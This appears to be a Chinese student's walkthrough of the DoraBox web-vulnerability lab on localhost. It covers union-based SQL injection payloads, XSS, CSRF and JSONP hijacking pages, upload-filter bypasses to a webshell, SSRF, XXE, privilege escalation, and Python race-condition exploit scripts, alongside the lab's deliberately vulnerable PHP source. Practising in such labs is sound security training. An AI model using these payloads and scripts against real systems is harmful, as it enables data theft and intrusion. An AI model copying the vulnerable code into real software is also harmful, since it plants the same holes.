数字型,先输入1,回显正常
1 order by 3
查看字段数,得到字段数为3
-1 union select 1,2,3
,知道2,3处可以看到回显
爆库名-1 union select 1,2,database()
得到数据库名为pentest
爆表
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'
或
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆字段
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'
爆数据
-1 union select 1,2,concat_ws(",",id,rest,own) from account
1' or '1'='1
回显正常,包裹形式为’ ’
1' order by 3#
字段数为3
-1' union select 1,2,3#
回显得到2,3
爆数据库名-1' union select 1,2,database()#
爆表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#
爆数据
-1' union select 1,2,concat_ws(",",id,rest,own) from account#
1' or 1=1#
回显正常(因为这次还有%需要闭合,如果用1’ or ‘1’='1后面的等式不成立)
1' order by 3#
得字段数为3
-1' union select 1,2,3#
得到回显2,3
爆数据库名-1' union select 1,2,database()#
爆表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#
爆数据
-1' union select 1,2,concat_ws(",",id,rest,own) from account#
反射型和存储型是服务端的安全漏洞,DOM型是前端JavaScript自身的安全漏洞。存储型存储在服务器数据库,反射型是URL,DOM型是前端存储
先查看源码
输入后,得到
再一次进入这个网站后,会自动跳转到编写的网页
查看源码,已经将所写内容存到数据库了
CSRF(Cross-siterequestforgery跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
示例:一个 网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。
https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jQuery.html
源码中用到了json,可以跨域因此自己写一个html
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => '[email protected]', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
{
alert(result.address);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox-master/csrf/jsonp.php?callback=test"></script>
</body>
</html>
https://blog.csdn.net/qq_15437667/article/details/78841335
if (@$_SERVER['HTTP_ORIGIN']){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
}else{
header("Access-Control-Allow-Origin: *");
}
header("Access-Control-Allow-Headers: X-Requested-With");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => '[email protected]', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
echo json_encode($info);
?>
这是ajax原理
https://mp.weixin.qq.com/s?src=11×tamp=1584872580&ver=2232&signature=NI1-02jjsNBGQoaLYztsofV7S4UQ31CTCHU4kaLHQPoru5GIAdlttFJL-Cu4WKviTyHiItuZElNW2bOBya0R90EXEPiFwXb2tur2hDMOpltRuSAnsfikciifSEPayj&new=1
使用Ajax发送http请求(get&post请求)https://www.cnblogs.com/qianguyihao/p/8485028.html
https://www.cnblogs.com/ruckly/p/11006744.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Ajax</title>
</head>
<body>
<h1>Ajax 发送 get 请求</h1>
<script>
function ajax() {
//创建xhr对象
var xhr = new XMLHttpRequest();
//设置响应返回的数据格式
xhr.responseType = "text";
//创建一个 GET 请求,采用异步
xhr.open('GET', 'http://127.0.0.1/DoraBox-master/csrf/userinfo.php', true);
//注册相关事件回调处理函数
xhr.onreadystatechange= function(e) {
if(this.status == 4||this.status == 200){
//状态等于4时响应完成,但页面404时仍可接收到响应,所以这里要status(页面状态)==200,既页面正常才给接收响应
//document.write(this.responseText);
alert(this.responseText);
}
};
xhr.send();
}
ajax();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DoraBox - PATH_INCLUDE</title>
</head>
<body>
<?php
include "../class/function.class.php";
$p = new Func("GET","file");
$p -> con_html();
if (isset($_REQUEST['submit'])) {
$file = $_REQUEST['file'];
include './'.$file;
}
?>
</body>
</html>
查看源码多了一个./加上后可以读取,但是我不加也可以读取,不是很懂。
发现不能上传php文件
先将扩展名改为可提交的类型,然后抓包,上传成功
并且成功连接到菜刀
或者将javascript.enabled关闭,禁用JavaScript(但是不知道为什么,我关闭后还是不行 )
上传文件,发现文件类型不对
抓包,查看源码,发现其改为以下几种类型即可绕过
修改类型
文件上传成功
查看源码,发现不允许上传php文件
可以通过抓包该扩展名,改为php3,非合法扩展名后加合法扩展名,或者是用\0(其为16进制中的0x00)截断
上传成功
可通过合成图片马等饶过
这样也行(
但是我没成功,可能那儿没弄好 )
assert(表达式):判断一个表达式是否成立。如果表达式的值为假,整个程序将退出,并输出一条错误信息。如果表达式的值为真则继续执行后面的语句。
当参数为字符串时,会被当作php代码执行。
因此phpinfo()
得到执行,拿到webshell
http://www.baidu.com
得到显示了该网页
http://127.0.0.1/DoraBox-master
可以查看本地文件,和文件包含相似
条件竞争
https://blog.csdn.net/ivalue/article/details/81412494
源码是当给出的钱不大于拥有的钱时,都是可以支付的,只要连续进行交易,就可以在钱还没有更新的时候给出
include('../conn.php');
$db = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
$sql = "SELECT rest FROM account";
$rest = intval($db->query($sql)->fetch_assoc()['rest']);
$sql = "SELECT own FROM account";
$own = intval($db->query($sql)->fetch_assoc()['own']);
echo "
";
if ($_POST){
$money = intval($_POST['money']);
if($money <= $rest) {
$sql = "UPDATE account SET rest=rest-".$money;
$db->query($sql);
$sql = "UPDATE account SET own=own+".$money;
$db->query($sql);
echo "";
} else {
echo "支付失败,可能是因为您的余额不足。";
}
}
?>
因为poc里有一个脚本,可以直接运行,但是我的python跑不了,刚开始是没有requests这个库,下了库之后,python都打不开了
import requests
import threading
import Queue
url = "http://127.0.0.1/DoraBox-master/race_condition/pay.php"
threads = 25
q = Queue.Queue()
for i in range(50):
q.put(i)
def post():
while not q.empty():
q.get()
r = requests.post(url, data={'money': 1})
print(r.text)
if __name__ == '__main__':
for i in range(threads):
t = threading.Thread(target=post)
t.start()
for i in range(threads):
t.join()
源码里有一个白名单,上传后,如果不在白名单里,文件就会被删除
show_source(__FILE__);
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./uploads/";
$filename = $_FILES['myfile']['name'];
if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
die("error:can not move!");
}
} else {
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n
";
if ($_FILES['myfile']['error'] > 0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
我们通过多个文件一同发送,在删除文件之前,得到访问,这是poc里的脚本
import requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://127.0.0.1/DoraBox-master/race_condition/key.php' #上传的文件地址
self.uploadUrl = 'http://127.0.0.1/DoraBox-master/race_condition/upload.php' #上传文件的地址
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print('[*] create file info.php success.')
os._exit(0)
def _upload(self):
print('upload file...')
file = {'myfile': open('key.php', 'r')} #本地脚本木马
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
我直接去读取上一道题用到的key.php
…/key.php也不行
…/race_condition/key.php进行访问后会显示里面的内容,但并不会执行
尝试登录时,发现都会登陆成功
这是前端JavaScript的代码
function doLogin(){
var username = document.getElementById("name").value;
var password = document.getElementById("pwd").value;
if(username == "" || password == ""){
alert("请输入账户/密码!");
return;
}
var data = "" + username + "" + password + "";
$.ajax({
type: "POST",
url: "login.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: alert("登录成功!")
});
}
看了源码,也没看懂
//code refence:https://github.com/c0ny1/xxe-lab/blob/master/php_xxe/
header('Content-Type: text/html; charset=utf-8');
include "../class/function.class.php";
$account = "admin";
$pwd = "admin";
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $account && $password == $pwd){
$result = sprintf("%d
%s ",1,$username);
}else{
$result = sprintf("%d
%s ",0,$username);
}
}catch(Exception $e){
$result = sprintf("%d
%s ",3,$e->getMessage());
}
echo $result;
?>
libxml_disable_entity_loader()作用是设置是否禁止从外部加载XML实体,设为true就是禁止,目的是防止XML注入攻击。
file_get_contents() 函数把整个文件读入一个字符串中。
simplexml_import_dom() 函数从 DOM 节点返回 SimpleXMLElement 对象。
因为前端写的数据类型就是xml,可以进行xml注入攻击,而且是post
XML实体注入漏洞
https://www.cnblogs.com/xiaozi/p/5785165.html
先注册两个用户
水平越权
将其中一个id换成另一个的id,另一个的密码得到改变,去尝试登录,登录成功
垂直越权
将cookie中的id修改为1,登录管理员成功
将普通用户改为管理员,不停修改